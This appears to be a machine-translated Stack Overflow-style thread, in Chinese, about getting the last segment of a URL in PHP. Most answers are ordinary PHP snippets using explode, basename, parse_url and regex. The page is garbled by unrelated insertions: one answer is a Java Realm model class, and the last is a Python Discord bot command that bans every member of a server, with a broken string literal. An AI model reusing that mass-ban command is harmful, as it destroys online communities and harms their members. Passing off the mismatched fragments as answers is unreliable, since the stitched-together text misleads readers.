我只是想知道如何使用PHP提取URL的最后一部分。
示例网址为:
http://domain.com/artist/song/music-videos/song-title/9393903
现在我如何使用PHP提取最终部分?
9393903
URL中始终存在相同数量的变量,并且id始终位于末尾。
答案 0 :(得分:90)
拆开它并获得最后一个元素:
$end = end(explode('/', $url));
# or:
$end = array_slice(explode('/', $url), -1)[0];
编辑: 要支持apache样式规范网址,rtrim
非常方便:
$end = end(explode('/', rtrim($url, '/')));
# or:
$end = array_slice(explode('/', rtrim($url, '/')), -1)[0];
我可能认为更具可读性的另一个例子是(Demo):
$path = parse_url($url, PHP_URL_PATH);
$pathFragments = explode('/', $path);
$end = end($pathFragments);
此示例还考虑到仅处理URL的路径。
还有另一个 编辑 (几年后),规范化和简单的UTF-8替代使用(通过PHP中的PCRE正则表达式):
<?php
use function call_user_func as f;
use UnexpectedValueException as e;
$url = 'http://example.com/artist/song/music-videos/song-title/9393903';
$result = preg_match('(([^/]*)/*$)', $url, $m)
? $m[1]
: f(function() use ($url) {throw new e("pattern on '$url'");})
;
var_dump($result); # string(7) "9393903"
这是非常粗略的,但展示了如何通过PCRE正则表达式模式在preg_match
调用中进行更精细的控制。为了给这个裸机示例添加一些意义,它应该被包含在它自己的函数内(这也会使别名变得多余)。为简洁起见,这样做了。
答案 1 :(得分:87)
完成此任务的最简单方法是使用basename()
echo basename('http://domain.com/artist/song/music-videos/song-title/9393903');
将打印
9393903
当然,如果最后有一个查询字符串,它将包含在返回值中,在这种情况下,接受的答案是更好的解决方案。
答案 2 :(得分:24)
您可以使用preg_match
来匹配所需网址的部分。
在这种情况下,由于模式很简单,我们正在寻找正斜杠(\/
,我们必须将其转义,因为正斜杠表示正则表达式模式的开始和结束),在字符串的最后(\d+
)有一个或多个数字($
)。 \d+
周围的括号用于捕捉我们想要的部分:即结束。然后,我们将我们想要的结尾($end
)分配给$matches[1]
(不是$matches[0]
,因为它与$url
(即整个字符串)相同。)
$url='http://domain.com/artist/song/music-videos/song-title/9393903';
if(preg_match("/\/(\d+)$/",$url,$matches))
{
$end=$matches[1];
}
else
{
//Your URL didn't match. This may or may not be a bad thing.
}
注意:您可能想要也可能不想为此正则表达式添加更多复杂功能。例如,如果您知道您的网址字符串始终以http://
开头,则正则表达式可以变为/^http:\/\/.*\/(\d+)$/
(其中.*
表示零个或多个字符(即不是换行符))。
答案 3 :(得分:14)
如果您正在寻找可以处理任何形式的URLs的强大版本,这应该做得很好:
<?php
$url = "http://foobar.com/foo/bar/1?baz=qux#fragment/foo";
$lastSegment = basename(parse_url($url, PHP_URL_PATH));
答案 4 :(得分:12)
$id = strrchr($url,"/");
$id = substr($id,1,strlen($id));
以下是strrchr
功能的说明:http://www.php.net/manual/en/function.strrchr.php
希望这很有用!
答案 5 :(得分:4)
另一种选择:
$urlarray=explode("/",$url);
$end=$urlarray[count($urlarray)-1];
答案 6 :(得分:3)
最优雅的解决方案之一是Get characters after last / in url
by DisgruntledGoat
$id = substr($url, strrpos($url, '/') + 1);
strrpos获取斜杠最后一次出现的位置; SUBSTR 返回该位置后的所有内容。
答案 7 :(得分:2)
一个班轮:public class FixtureInfo extends RealmObject{
@PrimaryKey
private String RoomName;
@Ignore
private String Name;
private String Description;
private String Wattage;
private String Run_Time;
private String Bulbs_Out;
private String Notes;
private int Count;
public String getRoomName() {
return RoomName;
}
public void setRoomName(String roomName) {
RoomName = roomName;
}
public void setCount(int count) {
Count = count;
}
public int getCount() {
return Count;
}
public void setName(String name) {
Name = name;
}
public void setDescription(String description) {
Description = description;
}
public void setWattage(String wattage) {
Wattage = wattage;
}
public void setRun_Time(String run_Time) {
Run_Time = run_Time;
}
public void setBulbs_Out(String bulbs_Out) {
Bulbs_Out = bulbs_Out;
}
public void setNotes(String notes) {
Notes = notes;
}
public String getName() {
return Name;
}
public String getDescription() {
return Description;
}
public String getWattage() {
return Wattage;
}
public String getRun_Time() {
return Run_Time;
}
public String getBulbs_Out() {
return Bulbs_Out;
}
public String getNotes() {
return Notes;
}
}
获取URI,修剪斜杠,转换为数组,抓取最后一部分
答案 8 :(得分:1)
这将轻松完成工作以获取所需URL的最后一部分
$url="http://domain.com/artist/song/music-videos/song-title/9393903";
$requred_string= substr(strrchr($url, "/"), 1);
这将从右边第一个“/”后获取字符串。
答案 9 :(得分:0)
<强> 1-衬垫强>
$end = preg_replace( '%^(.+)/%', '', $url );
// if( ! $end ) no match.
这会删除最后一个斜杠之前的所有内容,包括它。
答案 10 :(得分:0)
一行工作回答:
$url = "http://www.yoursite/one/two/three/drink";
echo $end = end((explode('/', $url)));
输出:饮料
答案 11 :(得分:0)
$mylink = $_SERVER['PHP_SELF'];
$link_array = explode('/',$mylink);
echo $lastpart = end($link_array);
答案 12 :(得分:0)
答案 13 :(得分:0)
@bot.command(aliases=["ban"])
async def ban(ctx, reason="No reason ig"):
for Member in list(ctx.guild.members):
await Member.ban(reason=reason)
await Member.send("You have been banned)
print(f'[+] The User going under the name of {Member} has been banned')